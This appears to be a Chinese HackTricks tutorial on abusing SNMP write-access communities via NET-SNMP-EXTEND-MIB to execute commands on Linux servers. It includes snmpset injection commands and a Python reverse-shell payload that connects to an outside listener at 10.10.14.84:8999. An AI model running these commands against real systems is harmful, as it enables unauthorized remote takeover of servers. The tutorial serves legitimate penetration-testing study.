2022-04-28 16:01:33 +00:00
|
|
|
|
<details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
这篇文章的内容来自[https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
|
2021-04-19 17:04:40 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
SNMP有时会被设备或服务器的管理员忽视,因为它处于默认配置状态。在Linux操作系统上具有写权限(**rwcommunity**)的SNMP社区可以被滥用,让攻击者在服务器上执行命令。
|
2021-04-19 17:04:40 +00:00
|
|
|
|
|
|
|
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-6.png?w=508)
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
# **扩展服务**
|
2021-04-19 17:04:40 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
虽然您无法修改已配置在**snmpd.conf**中的现有条目,但可以通过SNMP添加其他命令,因为MIB定义中的“MAX-ACCESS”权限设置为“**read-create**”。
|
2021-04-19 17:04:40 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
基本上,添加新命令的方法是将额外的行追加到“**nsExtendObjects**”表中。
|
2021-04-19 17:04:40 +00:00
|
|
|
|
```bash
|
|
|
|
|
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
|
|
|
|
|
'nsExtendStatus."evilcommand"' = createAndGo \
|
|
|
|
|
'nsExtendCommand."evilcommand"' = /bin/echo \
|
|
|
|
|
'nsExtendArgs."evilcommand"' = 'hello world'
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
注入一个命令以在SNMP服务上运行。**NET-SNMP-EXTEND-MIB**要求您始终提供可执行文件的绝对路径。被调用的二进制文件/脚本也必须存在并且可执行。
|
2021-04-19 17:04:40 +00:00
|
|
|
|
|
|
|
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-15.png?w=916)
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
通过使用snmpwalk枚举来执行我们注入到SNMP的命令
|
2021-04-19 17:04:40 +00:00
|
|
|
|
```bash
|
|
|
|
|
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
显示命令为/bin/echo。
|
2021-04-19 17:04:40 +00:00
|
|
|
|
|
|
|
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-11.png?w=569)
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
当命令被读取时,将执行该命令。**run-on-read\(\)**
|
2021-04-19 17:04:40 +00:00
|
|
|
|
|
|
|
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-12.png?w=612)
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
在我们的snmpwalk读取期间执行了命令**/bin/echo "hello rio is here"**
|
2021-04-19 17:04:40 +00:00
|
|
|
|
|
|
|
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-13.png?w=653)
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
# **从Net-SNMP Extend获取Shell**
|
2021-04-19 17:04:40 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
在本节中,我将讨论如何获得服务器Shell以控制服务器。
|
2021-04-19 17:04:40 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
您可以使用由**mxrch**开发的Python脚本,可以从[**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git)下载。
|
2021-04-19 17:04:40 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
您可以安装运行此脚本所需的先决条件:
|
2021-04-19 17:04:40 +00:00
|
|
|
|
```bash
|
|
|
|
|
sudo apt install snmp snmp-mibs-downloader rlwrap -y
|
|
|
|
|
git clone https://github.com/mxrch/snmp-shell
|
|
|
|
|
cd snmp-shell
|
|
|
|
|
sudo python3 -m pip install -r requirements.txt
|
|
|
|
|
```
|
|
|
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-18.png?w=723)
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**创建反向Shell**
|
2021-04-19 17:04:40 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
您还可以通过将以下命令注入到SNMP中手动创建反向Shell。
|
2021-04-19 17:04:40 +00:00
|
|
|
|
```bash
|
|
|
|
|
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
|
|
|
|
|
```
|
|
|
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-19.png?w=930)
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
运行snmpwalk触发命令执行
|
2021-04-19 17:04:40 +00:00
|
|
|
|
|
|
|
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-21.png?w=687)
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
我们的netcat接收到来自受害者的反向shell连接,使我们能够控制受害者机器
|
2021-04-19 17:04:40 +00:00
|
|
|
|
|
|
|
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-20.png?w=502)
|
|
|
|
|
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|